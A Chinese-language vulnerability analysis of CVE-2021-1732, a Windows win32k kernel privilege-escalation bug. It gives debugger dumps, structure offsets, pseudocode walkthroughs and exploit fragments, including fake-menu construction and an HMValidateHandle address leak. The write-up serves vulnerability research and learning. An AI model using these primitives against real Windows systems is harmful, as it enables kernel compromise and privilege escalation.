全网最详细CVE-2021-1732分析


0x00 前言

写这篇文章一是为了应付团队的任务,二是锻炼一下自己对EXP分析和复现0/1day的思路,为以后爆出EXP/POC能自主分析作铺垫,三是总结一下相关漏洞挖掘常规利用点为内核挖掘作铺垫。

CVE-2021-1732是一个很经典的Win32k的漏洞,这个漏洞在本人看来属于未来主流的漏洞案例,不同于其他漏洞利用,该漏洞整个利用流程没有借助主流手段--溢出来进行漏洞利用,而是使用不同API之间的“类型混淆”复用同一块地址进而达到利用,在这个安全机制日渐完善的环境下,此类漏洞仍然能在未来占有一席之地,其借助GetMenuBarInfo进行内核信息泄露,借助“漏洞+SetWindowLong函数”实现越界任意地址写入,其EXP构造复杂度可排在前列,且可在最新版Windows10 20H2系统上完成利用,所以我选择此漏洞进行研究
由于文章篇幅太长,建议自行分解分类然后联系分析。

0x01 漏洞背景

win32kfull模块下的漏洞,于蔓灵花(BITTER)组织在2020年12月在野利用中被发现,样本在最新版本的Windows10 20H2全补丁环境下也能触发!
整个利用过程不涉及堆喷射和内存重用,Type Isolation缓解机制对其无效
借助漏洞绕过了最新版Windows 10系统的内核地址空间布局随机化(KASLR).
借助全新未公开手法GetMenuBarInfo实现任意地址读取.
EXP在构造出任意地址读写原语后,采用DataOnlyAttack的方式替换了当前进程的Token,目前的内核缓解机制无法防御此类攻击.

0x02 漏洞复现

环境搭建

工具 版本 下载链接
win10 1903 https://msdn.itellyou.cn/
Visual studio 2019
EXP https://github.com/Pai-Po/CVE-2021-1732

点击CVE-2021-1732.sln后启动VS2019点击项目生成即可生成CVE-2021-1732.exe文件

项目配置:

  1. 运行库配置:多线程调试(/MTd)
  2. 设置x64位生成

复现:

image01.png

定位漏洞位置


整个漏洞利用原理如下:

漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx中一处由回调用户态导致offset可以自定义写入,而存在写入API在flag|0x800下越界写入offset指向地址导致的漏洞。

  1. 当驱动win32kfull.sys调用NtUserCreateWindowEx调用的xxxCreateWindowEx在调用xxxClientAllocWindowClassExtraBytes创建带窗口扩展内存的窗口时会判断tagWND­->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes中的KeUserModeCallback函数回调系统调用表用户层user32!__xxxClientAllocWindowClassExtraBytes在用户层内存创建窗口扩展内存。
  2. 用户层创建的窗口扩展内存后分配的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND­->flag值包含0x800属性时候调用该值的offset进行寻址。攻击者可在回调函数内调用NtUserConsoleControl并传入当前窗口的句柄,将当前窗口内核结构中的一个成员(用于指明窗口扩展内存的区域)修改为offset,并修改相应的flag0x800,指明该成员是一个offset
  3. 随后,攻击者可在回调函数中Hook调用NtCallbackReturn返回任意值,回调结束后,该返回值会覆写之前的offset,但对应的flag并未被清除,随后未经校验的offset直接被内核代码用于堆内存寻址,引发越界访问,进而构造写原语。

根本核心:

  • xxxCreateWindowEx回调用户态过程中存在Hook回调表自定义offset写入内核问题
  • NtUserConsoleControl设置flag这个功能与SetWindowLong/SetWindowLongStr存在“类型混淆”问题

0x03 各个调用点分析


我们先列出我们编写的EXP用到的tagWND结构:

tagWND
    0x10 unknown
        0x00 pTEB
            0x220 pEPROCESS(of current process)
    0x18 unknown
        0x80 kernel desktop heap base
    0x28 tagWNDk(Mapped to user layer)  <-----这个结构体映射到用户层
        0x00 hwnd
        0x08 kernel desktop heap base offset
        0x18 dwStyle
        0x28 Program entry 
        0x58 indow Rect top
        0x5C indow Rect left
        0x60 Window Rect buttom
        0x64 indow Rect right
        0x98 spMenu
        0xC8 cbWndExtra             <-----注意点:长度值
        0xE8 dwExtraFlag            <-----注意点:flag
        0xFC unknown
        0x128 pExtraBytes           <-----注意点:内存地址
    0xA8 spMenu
        0x28 unknown
            0x2C unknown
        0x40 unknown
            0x44 unknown
        0x44 unknown
        0x58 unknown

动态分析tagWND的结构体偏移量


一、获取内核态下的窗口句柄地址

根据静态分析Window32kfull!NtUserSetWindowLongPtr中存在的利用ValidateHwndEx返回内核下的ptagWND地址的操作
image02.png
查看反汇编指令
image03.png
这里的rdi寄存器存储的数据就是ptagWND,所以在这里下断点即可拿到ptagWND的地址

流程:

一、搜索内核中win32kfull!NtUserSetWindowLong地址

0: kd> x win32kfull!NtUserSetWindowLong
ffffc22a`86ef0ef0 win32kfull!NtUserSetWindowLong (void)

二、定位目标汇编位置

1: kd> u ffffc22a`86ef0ef0 l20
win32kfull!NtUserSetWindowLong:
ffffc22a`86ef0ef0 4c8bdc          mov     r11,rsp
ffffc22a`86ef0ef3 49895b08        mov     qword ptr [r11+8],rbx
ffffc22a`86ef0ef7 49896b10        mov     qword ptr [r11+10h],rbp
ffffc22a`86ef0efb 49897318        mov     qword ptr [r11+18h],rsi
ffffc22a`86ef0eff 49897b20        mov     qword ptr [r11+20h],rdi
ffffc22a`86ef0f03 4156            push    r14
ffffc22a`86ef0f05 4883ec50        sub     rsp,50h
ffffc22a`86ef0f09 33c0            xor     eax,eax
ffffc22a`86ef0f0b 8bf2            mov     esi,edx
ffffc22a`86ef0f0d 488bd9          mov     rbx,rcx
ffffc22a`86ef0f10 498943d8        mov     qword ptr [r11-28h],rax
ffffc22a`86ef0f14 33c9            xor     ecx,ecx
ffffc22a`86ef0f16 498943e0        mov     qword ptr [r11-20h],rax
ffffc22a`86ef0f1a 418be9          mov     ebp,r9d
ffffc22a`86ef0f1d 498943e8        mov     qword ptr [r11-18h],rax
ffffc22a`86ef0f21 8d5001          lea     edx,[rax+1]
ffffc22a`86ef0f24 458bf0          mov     r14d,r8d
ffffc22a`86ef0f27 4c8b1522af2600  mov     r10,qword ptr [win32kfull!_imp_EnterCrit (ffffc22a`8715be50)]
ffffc22a`86ef0f2e e8ed642b00      call    ffffc22a`871a7420
ffffc22a`86ef0f33 ba01000000      mov     edx,1
ffffc22a`86ef0f38 488bcb          mov     rcx,rbx
ffffc22a`86ef0f3b 448bc2          mov     r8d,edx
ffffc22a`86ef0f3e 4c8b1553a82600  mov     r10,qword ptr [win32kfull!_imp_ValidateHwndEx (ffffc22a`8715b798)]
ffffc22a`86ef0f45 e8d6642b00      call    ffffc22a`871a7420
ffffc22a`86ef0f4a 33db            xor     ebx,ebx
ffffc22a`86ef0f4c 488bf8          mov     rdi,rax           <===这里
ffffc22a`86ef0f4f 4885c0          test    rax,rax
.......

三、下断点

可以看到我们需要的那个地址是0xffffc22a86ef0f4c,所以我们在这里下硬件断点

ba e1 ffffc22a`86ef0f4c

四、继续运行我们的EXP

执行我们的CVE-2021-1732.exe在触发中断后单步步过(p),然后查看rdi寄存器更新的数据(这个就是ptagWND句柄的指针了)

rdi=0xffffc24a46362690

所以我们就拿到窗口的内核tagWND地址

二、分析pEPROCESS


这个是我另一个分析,断点拿到的窗口句柄地址:0xffffdc08c3339d20

0: kd> dqs 0xffffdc08c3339d20 l20
ffffdc08`c3339d20  00000000`0006058e
ffffdc08`c3339d28  00000000`00000003
ffffdc08`c3339d30  ffffdc08`c4ffa010        <==这里进入
ffffdc08`c3339d38  ffffde83`db0a40d0
ffffdc08`c3339d40  ffffdc08`c3339d20
ffffdc08`c3339d48  ffffdc08`c123e780
ffffdc08`c3339d50  00000000`0003e780
ffffdc08`c3339d58  00000000`00000000
ffffdc08`c3339d60  00000000`00000000
ffffdc08`c3339d68  00000000`00000000
ffffdc08`c3339d70  00000000`00000000
ffffdc08`c3339d78  ffffdc08`c33512a0
ffffdc08`c3339d80  ffffdc08`c0837540
ffffdc08`c3339d88  ffffdc08`c0830930
.......

偏移0x0是进程的Thread地址

0: kd> dqs ffffdc08`c4ffa010
ffffdc08`c4ffa010  ffffde83`db3c0080        <==这里是进程的Thread地址
ffffdc08`c4ffa018  00000000`00000001
ffffdc08`c4ffa020  00000000`00000000
ffffdc08`c4ffa028  0000017f`3dca0dc0
ffffdc08`c4ffa030  00000000`00000000
ffffdc08`c4ffa038  ffffdc08`c4ffa038
ffffdc08`c4ffa040  ffffdc08`c4ffa038
ffffdc08`c4ffa048  00000000`00000000

下面模拟正常寻找Thread地址的流程确定这个地址就是Thread地址:

0: kd> !dml_proc
Address           PID  Image file name
ffffde83`d8e69080 4    System         
ffffde83`d8ed0080 58   Registry       
ffffde83`d9ab7080 128  smss.exe       
.......
ffffde83`ddee0080 1074 CVE-2021-1732.exe   <===这里
ffffde83`de270080 958  conhost.exe   
0: kd> !dml_proc 0xffffde83ddee0080
Address           PID  Image file name
ffffde83`ddee0080 1074 CVE-2021-1732.    Full details

Select user-mode state     Release user-mode state
Browse kernel module list  Browse user module list
Browse full module list

Threads:
    Address           TID
    ffffde83`db3c0080 9a0               <====这里
    ffffde83`dd024080 18cc
    ffffde83`dd1c3080 18c4

在Thread偏移0x220EPROCESS的地址(跟上面的ffffde83ddee0080 1074 CVE-2021-1732.exe地址相同)

0: kd> dqs ffffde83`db3c0080 l60
ffffde83`db3c0080  00000000`00200006
ffffde83`db3c0088  ffffde83`db3c0088
ffffde83`db3c0090  ffffde83`db3c0088
ffffde83`db3c0098  00000000`00000000
ffffde83`db3c00a0  00000000`21ca38e8
.......
ffffde83`db3c02a0  ffffde83`ddee0080        <==pEPROCESS地址
.......

三、分析Spmenu真实偏移


这个还是我另一个分析,断点拿到的窗口句柄地址rdi=0xffffdc08c3339d20

这是tagWND的内存空间:

0: kd> dqs 0xffffdc08c3339d20 l30
ffffdc08`c3339d20  00000000`0006058e
ffffdc08`c3339d28  00000000`00000003
ffffdc08`c3339d30  ffffdc08`c4ffa010
ffffdc08`c3339d38  ffffde83`db0a40d0
ffffdc08`c3339d40  ffffdc08`c3339d20
ffffdc08`c3339d48  ffffdc08`c123e780        <===这里是tagWNDk
ffffdc08`c3339d50  00000000`0003e780
ffffdc08`c3339d58  00000000`00000000
ffffdc08`c3339d60  00000000`00000000
ffffdc08`c3339d68  00000000`00000000
ffffdc08`c3339d70  00000000`00000000
ffffdc08`c3339d78  ffffdc08`c33512a0
ffffdc08`c3339d80  ffffdc08`c0837540
ffffdc08`c3339d88  ffffdc08`c0830930
ffffdc08`c3339d90  00000000`00000000
ffffdc08`c3339d98  00000000`00000000
ffffdc08`c3339da0  00000000`00000000
ffffdc08`c3339da8  ffffdc08`c56e2630
ffffdc08`c3339db0  00000000`00000000
ffffdc08`c3339db8  00000000`00000000
ffffdc08`c3339dc0  00000000`00000000
ffffdc08`c3339dc8  0000017f`3de70000        <===这里就是spmenu,偏移0xa8
ffffdc08`c3339dd0  00000000`00000000
ffffdc08`c3339dd8  ffffdc08`c123e8d0
ffffdc08`c3339de0  00000000`00000000
ffffdc08`c3339de8  ffffdc08`c3339d20
.......
0: kd> ?0xffffdc08c3339d20+a8
Evaluate expression: -39544783921720 = ffffdc08`c3339dc8

我们的赋值源码:

pFakeMenu[0] = (ULONG_PTR)&ulFakeHandle;
pFakeMenu[5] = (ULONG_PTR)pFakeMenuBody;                // fake body
((PULONG)(&pFakeMenuBody[5]))[1] = 0xffff;              // make items count to max
((PULONG)(&pFakeMenu[8]))[0] = 1;                       // make menu'x to 1
((PULONG)(&pFakeMenu[8]))[1] = 1;                       // make menu'y to 1
pFakeMenu[0xb] = (ULONG_PTR)pFakeItems;                 // 这个就是读取的地址
ulFakeRefCount[0] = (ULONG_PTR)pFakeMenu;
pFakeMenu[0x13] = (ULONG_PTR)&ulFakeRefCount;

进入到tagWNDk

0: kd> dqs ffffdc08`c123e780 l20
ffffdc08`c123e780  00000000`0006058e
ffffdc08`c123e788  00000000`0003e780
ffffdc08`c123e790  80000700`40020018
ffffdc08`c123e798  04c00000`00000100
ffffdc08`c123e7a0  00007ff7`211f0000
ffffdc08`c123e7a8  00000000`00000000
ffffdc08`c123e7b0  00000000`000010d0
ffffdc08`c123e7b8  00000000`00000000
ffffdc08`c123e7c0  00000000`00000000
ffffdc08`c123e7c8  00000000`0006fa10
ffffdc08`c123e7d0  00000000`0000a090
ffffdc08`c123e7d8  00000000`00000000
ffffdc08`c123e7e0  00000027`00000088
ffffdc08`c123e7e8  0000001f`00000008
ffffdc08`c123e7f0  0000001f`00000080
ffffdc08`c123e7f8  00007ffe`133dbd30 ntdll!NtdllDefWindowProc_W
ffffdc08`c123e800  00000000`00017580
ffffdc08`c123e808  00000000`00000000
ffffdc08`c123e810  00000000`00000000
ffffdc08`c123e818  0000017f`3de70000        <===这里就是spmenu,偏移0x98
ffffdc08`c123e820  00000000`00000000
ffffdc08`c123e828  00000000`00000000
ffffdc08`c123e830  00000000`0003e780
ffffdc08`c123e838  0000000e`0000000c
ffffdc08`c123e840  00000000`0003e8d0
ffffdc08`c123e848  00000000`00000100
ffffdc08`c123e850  00000000`000c07e9
ffffdc08`c123e858  00000000`00000000
ffffdc08`c123e860  00000000`00000000
ffffdc08`c123e868  00000001`00120818
ffffdc08`c123e870  0000017f`3dd69730
ffffdc08`c123e878  00000000`00000000

进入到spmenu进行验证是否是真实的spmenu

0: kd> dqs 0x0000017f`3de70000 l14
0000017f`3de70000  00000058`dddefa00        <==这是我们的ulFakeHandle
0000017f`3de70008  00000000`00000000
0000017f`3de70010  00000000`00000000
0000017f`3de70018  00000000`00000000
0000017f`3de70020  00000000`00000000
0000017f`3de70028  0000017f`3de80000        <==这是我们的pFakeMenuBody
0000017f`3de70030  00000000`00000000
0000017f`3de70038  00000000`00000000
0000017f`3de70040  00000001`00000001        <==这是menu.x和menu.y
0000017f`3de70048  00000000`00000000
0000017f`3de70050  00000000`00000000
0000017f`3de70058  0000017f`3de90000        <==这是我们要读取的地址
0000017f`3de70060  00000000`00000000
0000017f`3de70068  00000000`00000000
0000017f`3de70070  00000000`00000000
0000017f`3de70078  00000000`00000000
0000017f`3de70080  00000000`00000000
0000017f`3de70088  00000000`00000000
0000017f`3de70090  00000000`00000000
0000017f`3de70098  00000058`dddefe20        <==这是我们赋值的ulFakeRefCount

进入pFakeMenuBody

0: kd> dqs 0000017f`3de80000
0000017f`3de80000  00000000`00000000
0000017f`3de80008  00000000`00000000
0000017f`3de80010  00000000`00000000
0000017f`3de80018  00000000`00000000
0000017f`3de80020  00000000`00000000
0000017f`3de80028  0000ffff`00000000        <==这里是我们赋值的0xffff
0000017f`3de80030  00000000`00000000
0000017f`3de80038  00000000`00000000
0000017f`3de80040  00000000`00000000
0000017f`3de80048  00000000`00000000
0000017f`3de80050  00000000`00000000
0000017f`3de80058  00000000`00000000
0000017f`3de80060  00000000`00000000
0000017f`3de80068  00000000`00000000
0000017f`3de80070  00000000`00000000
0000017f`3de80078  00000000`00000000

进入ulFakeRefCount

0: kd> dqs 00000058`dddefe20
00000058`dddefe20  0000017f`3de70000        <==这里是我们spMenu地址
00000058`dddefe28  00000000`00000000
00000058`dddefe30  00006866`218492b4
00000058`dddefe38  00007ff7`211f3a05
00000058`dddefe40  00000000`00000000
00000058`dddefe48  0000017f`3c21d540
00000058`dddefe50  00000000`00000000
00000058`dddefe58  0000017f`3c21de00
00000058`dddefe60  00000000`00000000
00000058`dddefe68  00007ff7`211f3520
00000058`dddefe70  00000000`00000000
00000058`dddefe78  00000000`00000000
00000058`dddefe80  00000000`00000000
00000058`dddefe88  00000000`00000000
00000058`dddefe90  00000000`00000000
00000058`dddefe98  00000000`00000000

根据上方数据写入地址验证0x98确实是spmenu偏移(实际上真实确认应该是在分析xxxGetMenuBarInfo上指令偏移确认)

四、分析内核桌面堆基址


还是另一个分析,这里的窗口句柄值:0xffff834ec083a690

1: kd> dqs 0xffff834ec083a690
ffff834e`c083a690  00000000`0004071a
ffff834e`c083a698  00000000`0000000a
ffff834e`c083a6a0  ffff834e`c06559a0
ffff834e`c083a6a8  ffff9108`276b1a80        <==这里进去
ffff834e`c083a6b0  ffff834e`c083a690
ffff834e`c083a6b8  ffff834e`c125ecd0
ffff834e`c083a6c0  00000000`0005ecd0
1: kd> dqs ffff9108`276b1a80+80
ffff9108`276b1b00  ffff834e`c1200000        <==这里就是内核下的桌面堆基址
ffff9108`276b1b08  00000000`01400000
ffff9108`276b1b10  00000000`0001072a
ffff9108`276b1b18  00000030`000000a0
ffff9108`276b1b20  00000040`000000a8
ffff9108`276b1b28  ffff834e`c2e89c40
ffff9108`276b1b30  ffff834e`c079d2f0
ffff9108`276b1b38  ffff834e`c0834540

这里我暂时无法获取,因为涉及到跳转用户层读取数据

四、分析tagWNDk结构体


RECT结构体定义:

typedef struct tagRECT
{
    LONG    left;
    LONG    top;
    LONG    right;
    LONG    bottom;
} RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT;

调试源码:

//test03.cpp
#include <windows.h>
#include <winuser.h>
#include <tlhelp32.h>
#include <iostream>

#if 1
#define DEBUG_BREAK()       __debugbreak();
#else
#define DEBUG_BREAK()
#endif
#define WND_NAME    L"WND"
#define CLS_NAME    L"WND_CLS"
#define DefWindowProc  DefWindowProcW
using HMVALIDATEHANDLE = VOID * (WINAPI*)(HWND hwnd, int type);
HMVALIDATEHANDLE HMValidateHandle = NULL;

BOOL FindHMValidateHandle() {
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (hUser32 == NULL) {
        printf("Failed to load user32");
        return FALSE;
    }
    BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
    if (pIsMenu == NULL) {
        printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
        return FALSE;
    }
    unsigned int uiHMValidateHandleOffset = 0;
    for (unsigned int i = 0; i < 0x1000; i++) {
        BYTE* test = pIsMenu + i;
        if (*test == 0xE8) {
            uiHMValidateHandleOffset = i + 1;
            break;
        }
    }
    if (uiHMValidateHandleOffset == 0) {
        printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
        return FALSE;
    }

    unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
    unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;

    HMValidateHandle = (HMVALIDATEHANDLE)((ULONG_PTR)hUser32 + offset + 11);
    return TRUE;
}
BOOL RegistWndClass(PCTSTR ClsName) {
    WNDCLASS wndclass = { 0 };

    wndclass.style = CS_HREDRAW | CS_VREDRAW;//窗口类型
    wndclass.lpfnWndProc = DefWindowProc; //定义窗口处理函数
    wndclass.cbClsExtra = 0;//窗口类扩展
    wndclass.cbWndExtra = 0x100;//窗口实例无扩展
    wndclass.hInstance = GetModuleHandle(NULL);;//当前实例句柄
    wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);//窗口的最小化图标类型
    wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);//窗口采用箭头光标
    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);//窗口背景色
    wndclass.lpszMenuName = NULL;//窗口菜单
    wndclass.lpszClassName = ClsName; //实际就是进程列表显示的名称

    return !!RegisterClass(&wndclass);
}
HWND CreateWnd(PCTSTR ClsName) {
    HMENU hMenu = NULL;
    HMENU hHelpMenu = NULL;
    hMenu = CreateMenu();
    hHelpMenu = CreateMenu();

    AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about"));
    //0x1888是这个子菜单的句柄
    AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));
    return CreateWindowEx(NULL, ClsName, WND_NAME, NULL, 0, 0, 0, 0, NULL, hMenu, GetModuleHandle(NULL), NULL);
}
int main()
{
    HWND         hwnd;
    PVOID pCurWndObj1 = NULL;

    FindHMValidateHandle();


    if (RegistWndClass(CLS_NAME)) //检查窗口是否注册成功
    {
        printf("RegisterClass successfull!\n");

        hwnd = CreateWnd(CLS_NAME);
        printf("hwnd == %X\n", hwnd);
        pCurWndObj1 = HMValidateHandle((HWND)hwnd, 0x1);
        printf("pCurWndObj1 == %llx\n", pCurWndObj1);
        SetWindowLong(hwnd, 0x1c, 0x40c00000);              
        RECT Rect = { 0 };
        GetWindowRect(hwnd, &Rect);
        printf("left    == %llx\n", Rect.left);
        printf("top     == %llx\n", Rect.top);
        printf("right   == %llx\n", Rect.right);
        printf("bottom  == %llx\n", Rect.bottom);
        DEBUG_BREAK();
        getchar();
    }

}

我们使用windbg用户态(注意!!)下调试

程序执行打印值:

RegisterClass successfull!
hwnd == 50460
pCurWndObj1 == 1b23a5d0d90
left    == 0
top     == 0
right   == 88
bottom  == 27

下面是Windbg调试下的分析值:(而且这个还是tagWNDk从kernel映射到user的内存空间)

0:000> dqs 1b23a5d0d90 l30
000001b2`3a5d0d90  00000000`00050460    <==hwnd
000001b2`3a5d0d98  00000000`00040d90    <==kernel desktop heap base offset
000001b2`3a5d0da0  80000700`40020019    <==unkown
000001b2`3a5d0da8  04c00000`00000100    <==dwstyle
000001b2`3a5d0db0  00007ff6`93e70000 test03     <==Program entry
000001b2`3a5d0db8  00000000`00000000
000001b2`3a5d0dc0  00000000`000010d0
000001b2`3a5d0dc8  00000000`00000000
000001b2`3a5d0dd0  00000000`00000000
000001b2`3a5d0dd8  00000000`0003d880
000001b2`3a5d0de0  00000000`00034c30
000001b2`3a5d0de8  00000000`00000000    <== top,left
000001b2`3a5d0df0  00000027`00000088    <== bottom,right
000001b2`3a5d0df8  00000033`00000008
000001b2`3a5d0e00  00000033`00000080
000001b2`3a5d0e08  00007ffa`f155bd30 ntdll!NtdllDefWindowProc_W
000001b2`3a5d0e10  00000000`00040800
000001b2`3a5d0e18  00000000`00000000
000001b2`3a5d0e20  00000000`00000000
000001b2`3a5d0e28  00000000`00040890
000001b2`3a5d0e30  00000000`00000000
000001b2`3a5d0e38  00000000`00000000
000001b2`3a5d0e40  00000000`00040d90
000001b2`3a5d0e48  00000008`00000006
000001b2`3a5d0e50  00000000`00040ee0
000001b2`3a5d0e58  00000000`00000100    <==cbWndExtra
000001b2`3a5d0e60  00000000`00b10301    <==dwExtraFlag
000001b2`3a5d0e68  00000000`00000000
000001b2`3a5d0e70  00000000`00000000
000001b2`3a5d0e78  00000001`00120018
000001b2`3a5d0e80  000001b2`3bc60e40
000001b2`3a5d0e88  00000000`00000000
000001b2`3a5d0e90  00000000`00010001
000001b2`3a5d0e98  00000000`00000000
000001b2`3a5d0ea0  00000000`00000000
000001b2`3a5d0ea8  00000060`00000000
000001b2`3a5d0eb0  00000000`00006010
000001b2`3a5d0eb8  000001b2`3a034d00    <==pExtraBtes
000001b2`3a5d0ec0  00000000`00000000
000001b2`3a5d0ec8  00000000`00000000
000001b2`3a5d0ed0  ce9cc899`bcd7a6ce
000001b2`3a5d0ed8  00000000`000001c1
000001b2`3a5d0ee0  00000044`004e0057
000001b2`3a5d0ee8  00080000`0007d6a1
000001b2`3a5d0ef0  ce9cc88e`bcd6a6ee
000001b2`3a5d0ef8  00000000`000001e1
000001b2`3a5d0f00  454d4946`5443534d
000001b2`3a5d0f08  00000000`00495520

利用代码示例

RECT Rect = { 0 };
GetWindowRect(g_hWnd[1], &Rect);
//获取到窗口的坐标值

RECT结构体

typedef struct tagRECT {
   LONG left;   //得出0x58
   LONG top;    //得出0x50
   LONG right;  //得出0x68
   LONG bottom; //得出0x60
} RECT;

所以我们可以构造出真实的tagWND结构体各个成员偏移

0x04 利用函数解析


一、分析win32kfull!xxxCreateWindowEx

函数含义:

传入长度值**tagWND -> cbwndExtra****xxxClientAllocWindowClassExtraBytes**
**xxxClientAllocWindowClassExtraBytes**执行后将返回值赋值到pExtraBytes

汇编分析:

image04.png

判断tagWND­->cbWndExtra不为0

call    ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
test    al,al
jz      short loc_1C003CE44

载入参数cbWndExtra后调用xxxClientAllocWindowClassExtraBytes

mov     rax, [r15+28h]  ; 进入ptagWNDk
mov     ecx, [rax+0C8h] ; 载入参数cbWndExtra
call    xxxClientAllocWindowClassExtraBytes

xxxClientAllocWindowClassExtraBytes返回值传入到tagWND->pExtraBytes

mov         rcx,rax                                 ; 返回值传入rcx
mov         rax,[r15+28h]                       ; 进入到tagWNDk
mov         [rax+128h],rcx                  ; 将返回值赋值到tagWNDk偏移0x128h即pExtraBytes处

伪代码分析:

image05.png
image06.png

判断cbwndExtra不为0,这里要返回True(不为0)

LODWORD(v210) = 0;
!tagWND::RedirectedFieldcbwndExtra<int>::operator!=(v37 + 0xB1, &v210)

判断传入pExtraBytes是否为0,这里要返回False(不为0)

(*(*(v37 + 0x28) + 0x128i64) = xxxClientAllocWindowClassExtraBytes(*(*(v37 + 0x28) + 0xC8i64)),
v237 = 0i64,
!tagWND::RedirectedFieldpExtraBytes::operator==<unsigned __int64>(v37 + 0x140, &v237))
  • 传入cbwndExtra执行xxxClientAllocWindowClassExtraBytes

这里是典型()判断语句:

示例(配合理解):
int a = (a=1,b=1,a==b);
//返回:a=1(即true)

由于是“||”判断,所以当cbwndExtra不为0跳入if包含的语句
上述的pExtraBytes就是创建窗口扩展内存分配的内存地址

二、分析win32kfull!xxxClientAllocWindowClassExtraBytes

函数含义:

win32kfull!xxxCreateWindowEx载入一个**cbwndExtra**,然后回调用户层user32!_xxxClientAllocWindowClassExtraBytes返回了pExtraBytes然后传回win32kfull!xxxCreateWindowEx(用于赋值到pExtraBytes
image07.png

  • KeUserModeCallback原理解析:KeUserModeCallback用法详解
  • 第22行在KeUserModeCallback使用编号123回调且传入参数**cbwndExtra**KernelCallbackTable表中用户层user32.dll的函数user32!_xxxClientAllocWindowClassExtraBytes,从user32!_xxxClientAllocWindowClassExtraBytes调用NtCallbackReturn返回的数据有返回数据outputbuffer和返回数据长度outputlength

下面的KernelCallbackTable地址为0x00007ff94cd56330

image08.png

查看KernelCallbackTable表中的user32!_xxxClientAllocWindowClassExtraBytes地址为0x00007ff94cd56708

image09.png

可以计算得KernelCallbackTableuser32!_xxxClientAllocWindowClassExtraBytes标识符为123
image10.png

  • 第26行表示设置的outputlength必须为0x18
  • 第29行判断返回的内存地址outputbuffer是否越界,MmUserProbeAddress == 0x7fff0000表示用户层边界,所以我们的
  • 第33行中返回的信息第一个指针类型指向的就是用户层分配内存地址,且在下一步使用ProbeForRead判断用户层返回的这块内存是否是Ring3的内存
  • 第35行返回值v4就是即将载入到pExtraBytes的内存地址

三、分析user32!_xxxClientAllocWindowClassExtraBytes

函数含义

在用户层申请一个堆地址后将地址回调到内核层且执行

伪代码分析

image11.png
这里是从win32kfull!xxxClientAllocWindowClassExtraBytes载入参数**cbwndExtra**当作*a1

  • 第7行RtlAllocateHeap分配了一个内存并返回这个内存的地址
  • 第8行NtCallbackReturn传输了长度0x18(数组3位)的数据(Result)到内核层win32kfull!xxxClientAllocWindowClassExtraBytes作为参数继续运行,长度为0x18数据中第一个8字节长度数据是分配后的地址

四、分析Win32kfull!NtUserConsoleControl

函数含义:

指定窗口hwnddwExtraFlag包含**0x800**属性

1. NtUserConsoleControl

image12.png
第25行调用xxxConsoleControl

  • 载入参数1:功能序号,第11行表示参数1小于等于6
  • 载入参数2:输入信息(这个参数就是Hook调用NtUserConsoleControl需要获取的HWND)
  • 载入参数3:输入信息长度,第16行表示参数3小于等于0x18

2. xxxConsoleControl(这里是关键)

函数含义:

虽然存在下列地址写入语句:

  • 当flag为0x800则直接调用offset寻址(这个不用管)
  • 当flag不是0x800则生成一个新内存,把这个内存地址设置为offset再寻址(这个就是Hook中为什么要先执行NtUserConsoleControl的原因)

伪代码分析

image13.png
image14.png

  • 第100行表示传入的参数3必须等于16(x64下数组长度为2)
  • 第102行表示检测传入的参数是否是Hwnd
  • 第106行进入到tagWND中的tagWNDk

image15.png
image16.png

  • 第121行判断当前判断tagWND->dwExtraFlag是否包含0x800属性(就是看看第12位是否为1)
  • 第123行表示当dwExtraFlag包含0x800则:偏移0x128保存的分配内存地址pExtrabytes变成了内核桌面堆地址+offset寻址
  • 第127行表示当dwExtraFlag不包含0x800则:重新分配内存并设置偏移0x128offset寻址
  • 第138-140行表示当dwExtraFlag不包含0x800则:将新生成的pExtrabytes赋值cbWndExtra大小到offset寻址内存处
  • 第148~149行表示将tagWND+0x10指向的内容赋值到offset指向的地址
  • 上述的127~149意思就是重写了pExtrabytes
  • 第151行表示设置dwExtraFlag包含0x800(就是设置第12位为1)

所以只要调用了**NtUserConsoleControl**即可目标窗口将dwExtraFlag添加0x800属性

五、分析win32kfull!NtSetWindowLong

函数含义:

在调用SetWindowLong函数时,会调用User32!SetWindowLong,然后传递参数到内核层中的win32kfull!NtSetWindowLong中调用,当flag=0x800时,则将参数3写入到“参数2+*(tagWND+0xFC)+内核桌面堆地址+pExtraBytes ”指向的地址,进而导致越界写入。

一、分析User32!SetWindowLong(打开win10 1903中的System32文件夹拿到user32.dll分析)

下图为调用SetWindowLong()需要的参数
image17.png
可以看到只需要传递3个参数

二、分析win32kfull!NtSetWindowLong(打开win10 1903中的System32文件夹拿到win32kfull.sys分析)

image18.png

  • 第1行表示User32!SetWindowLong传到内核层的参数,其中a4固定为1
  • 第16行表示我们可以通过这行下断点拿到这个窗口的tagWND句柄
  • 第32行表示将调用User32!SetWindowLong传入的参数加载到xxxSetWindowLong中继续执行

三、分析win32kfull!xxxSetWindowLong

image19.png

  • 上图为win32kfull!xxxSetWindowLong参数

image20.png

  • 第56行表示将v13指向tagWND中的ptagWNDk

image21.png

  • 第91行表示设置新指针v13指向了v12

image22.png

  • 第113行表示传入的nIndex+4(参数2+4)必须小于(tagWND+0xFC指向的地址内容,经调试我们写的EXP该该内容为0x00010001)+cbWndExtra
  • 这里我们只需要将cbWndExtra设置成为0xFFFFFFFF即可不管

image23.png

  • 第117行表示tagWNDk+0xFC的内容
  • 第152行表示指针v18等于传入的参数2(v15指向的ptagWNDk+0xFC经静态分析为0x00010001转换为无符号int型为1,所以减去4字节,建议动态调试分析,经过我的动态分析,这里好像当参数2超过某个值就不需要删除ptagWNDk+0xFC
